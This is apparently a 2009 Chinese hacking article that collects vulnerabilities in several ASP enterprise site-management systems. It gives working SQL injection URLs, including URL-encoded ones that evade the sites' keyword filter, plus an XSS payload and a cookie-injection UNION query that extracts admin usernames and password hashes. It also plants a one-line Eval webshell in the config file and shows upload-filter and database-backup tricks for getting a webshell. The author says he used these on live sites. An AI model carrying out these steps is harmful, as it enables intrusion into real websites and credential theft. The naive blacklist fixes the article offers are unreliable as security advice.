[ASP]南方数据、良精系统、网软天下等各类企业管理系统漏洞总结
2009年11月24日星期二 | | |来源:互联网
一、
在分析useredit.asp的时候,发现这样几句:
dim Action,UserName,FoundErr,ErrMsg dim rsUser,sqlUser Action=trim(request("Action")) UserName=trim(request("UserName")) if UserName="" then UserName=session("UserName") end if if UserName="" then if Action="" then response.redirect "UserServer.asp" else FoundErr=True ErrMsg=ErrMsg & "<br><li>参数不足!</li>" end if end if if FoundErr=true then call WriteErrMsg() else Set rsUser=Server.CreateObject("Adodb.RecordSet") sqlUser="select * from [User] where UserName='" & UserName & "'"
很明显,username的值未经过任何过滤。本来他是用username来获取session用户名来进行用户资料的,可惜前面加了request("username"),这在我看来无任何意义,不知道写程序的人什么用意。。
根据管理员表,我构建了以下语句来测试:
http://localhost/nf/useredit.asp?username=admin'%20and%20exists%20(select%20Password%20from%20[Admin])
结果返回错误:一想,对了,是字符型:再来:
http://localhost/nf/useredit.asp?username=admin'%20and%20exists%20(select%20Password%20from%20[Admin]) and ''='
返回正常用户资料编辑页面,OK~无任何问题,再来:
返回正常 剩下的我也就不多说,结果用它测试官方的站,也是一样存在此漏洞,顺利拿到MD5密码后,准备进后台一看,但是官方演示站没有上传后台,只能看看了。(BS..)
修补漏洞也极其简单:
UserName=trim(request("UserName"))
此行下面再加几句过滤一下: UserName=Replace(UserName,"'","") UserName=Replace(UserName,"%","") UserName=Replace(UserName," ","") UserName=Replace(UserName,"exists","") UserName=Replace(UserName,"select","")
就可以了!
-----------------------------------------------------------------------------------------------------------------------------------
渥洞二:
出现漏洞的文件是upfile_Other.asp,我们来看看它的问题语句吧!
<%
if EnableUploadFile="NO" then
response.write "系统未开放文件上传功能"
else
if session("AdminName")="" and session("UserName")="" then
response.Write("请登录后再使用本功能!")
else
select case upload_type
case 0
call upload_0() ''使用化境无组件上传类
case else
''response.write "本系统未开放插件功能"
''response.end
end select
end if
end if
%>
EnableUploadFile代表上传文件是否开起,问题在这里
session("AdminName")="" and session("UserName")=""
这个文件的session不仅给管理员用还给普通的用户用,可是前台的用户根本用不上这个,
这就导致了动画里的成功入侵网站。
补救的方法就是先把and session("UserName")="" 给去掉。
-----------------------------------------------------------------------------------------------------------------------------------
发现Aboutus.asp页面中的注入漏洞.
<!--#include file="Inc/SysProduct.asp" --> '调用函数文件来验证和判断.
<!--#include file="inc/Skin_css.asp"--> '调用式样文件.无用的,不管他
<!-- #include file="Head.asp" --> '头部页面,丢开.
<%Title=Trim(request("Title")) '显示标题
Set rs = Server.CreateObject("ADODB.Recordset") '运行组件
sql="select Content from Aboutus where Title='"&Title&"'" '查询语句..不管这里,继续看下面
rs.open sql,conn,1,3
………… '后面的省略
<%
Set rslist = Server.CreateObject("ADODB.Recordset") '运行组件
sql="select Title from Aboutus order by Aboutusorder" 'SQL开始查询.
rslist.open sql,conn,1,3 '把查询结果写入rslist记录集.
do while not rslist.eof
%>
<a href="Aboutus.asp?Title=<%=rslist("Title")%>"><%=rslist("Title")%> '关键在这里.
………… '省略
%>
Aboutus.asp?Title=<%=rslist("Title")%>"><%=rslist("Title")%>
Inc/SysProduct.asp里面调用了Check_Sql.ASP进行SQL注入防护.
其实这个页面并没有做任何过滤..虽然调用了CHECK_SQL.ASP来阻止注入.
但是他没有过滤URL编码.
本地搭建测试下.
http://localhost/aboutus.asp?title=%20%31%27 '错误
http://localhost/aboutus.asp?title=%20%31%20%61%6E%64%20%31%3D%31 '正常
http://localhost/aboutus.asp?title=%31%20%61%6E%64%20%31%3D%32 '错误
75%73%65%72%73%20%77%68%65%72%65%20%6C%65%6E%28%75%73%65%72%70%77%64%29%3D%31%36%20%61%6E%64%20%75%73%65%72%69%64%3D%31%29
大家可以自己用Encode转换SQL语句查询..
-----------------------------------------------------------------------------------------------------------------------------------
另外一处XSS漏洞
这个漏洞出在Download.asp
<!--#include file="Inc/SysDown.asp" -->
<!--#include file="inc/Skin_css.asp"-->
<%
MaxPerPage=MaxPerPage_Default
strFileName="download.asp?BigClassName=" & BigClassName & "&SmallClassName=" & SmallClassName
%>
看到了吧..
没调用任何过滤文件.而且输出的BigClassName也没有做任何过滤.
http://localhost/download.asp?BigClassName=<script>alert('Test..By:黑**')</script>
加密下
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%54%65%73%74%2E%2E%42%79%3A%BA%DA%2A%2A%27%29%3C%2F%73%63%72%69%70%74%3E
一样可以正常输出..
就到这里了吧.本人小菜一个.大侠飘过.感谢小拘同学提供了思路.
二、
网软天下企业网站管理系统很多参数都是直接用request("id") 来接收参数,为什么他们那么放心呢?原来他们都包含了一个非常流行.很多ASP程序里都用的防注入代码,真的只需在有参数提交的文件中include防注入文件就是了安全吗?我们来看看这个防注入文件。
Check_Sql.asp
<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
'------定义部份 头----------------------------------------------------------------------
Err_Message = 1 '处理方式:1=提示信息,2=转向页面,3=先提示再转向
Err_Web = "Err.Asp" '出错时转向的页面
Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
'在这部份定义get非法参数,使用"∥"号间隔
Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在这部份定义post非法参数,使用"∥"号间隔
'------定义部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 对 get query 值 的过滤.
if request.QueryString<>"" then //request.QueryString
Chk_badword=split(Query_Badword,"∥") //用split()把参数分割了
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then //呵呵,他们还没有低级到连LCase()都不用!
Select Case Err_Message
Case "1"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&" 的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&"的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if
'-----对 post 表 单值的过滤.
if request.form<>"" then //request.form
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
Select Case Err_Message
Case "1"
Response.Write "<Script Language=JavaScript>alert('出错了!表单 "&name&" 的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!');window.close();</Script>"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('出错了!参数 "&name&"的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
end if
%>
它遍历GET和POST中很多危险的参数,常用来获得数据的有两种方式:一种就是:GET方式(Request.QueryString)另一种就是:表单POST提交的数据(Request. Form)和Cookies(Request.Cookies),而上面的防注入只是对Request对象的QueryString和From集合进行过滤,却忽略了Request.Cookies 可爱的注入出现了,我们可以用cookie注入来得到管理员的密码帐号 。这里我们不仅仅可以注入,也可以跨站,这样的防注入形同虚设。
注入漏洞
下面我们来测试一下:我们就来
利用shownews.asp 在地址栏中打开
http://127.0.0.1/shownews.asp?id=1
清空地址栏,利用union语句来注入,提交:
javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from Admin"))
提交后我们访问
http://127.0.0.1/shownews.asp
在页面中直接返回了管理员的帐号和16位MD5加密的密码,这样我们就已经成功拿到了管理员的帐号和密码。
三、后台的利用
(1)在系统管理中的网站配置中插入一句话马:进入后台后,点左边的"系统管理"再点击"网站配置"在右边的"网站名称"(也可以在其它处)后加入"%><%Eval(Request(chr(112)))%><%',再点保存配置,如图:
然后我们打开inc/config.asp文件,看到一句话马已写入到配置文件中了,
这时再打开一句话马的客户端,提交同样得到一个小马
(注:以下均在其它网站上测试所截的图,为防止信息泄漏,未截留网站连接,请谅解!)
(2)后台上传漏洞,在Upfile_Photo.asp文件中部分代码如下:
以下是代码片段:
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
EnableUpload=false
end if
if EnableUpload=false then
msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
FoundErr=true
end if
大家可以看到程序只限制了对"asp","asa","aspx"类的文件上传,我们只要在"网站配置"的允许的上传文件类型处增加上传"cer"等被服务器可解析的文件类型就可,由于我下载的是测试版本,无法在自己机子上测试,不过登陆了使用这系统的另一网站后台后,成功上传了"cer"后缀的文件后,如图
提交时却显示下载页面 ,上传其它如"htr,cdx"等后缀文件时,提交时服务器却不请求(只能说运气不好吧)
(3)后台备份,直接在"产品管理"下的添加产品中上传jpg后缀的asp马,再到"系统管理"下的数据库备份,在"当前数据库路径"栏填入上传的路径,在" 备份数据库名称"填入你要备份马的名称,不过系统会在名称后自动添加上.asa的
点"确定"后提示"备份数据库成功…."不过实际文件是没有.asa的
直接访问备份后的地址,就得到一个webshell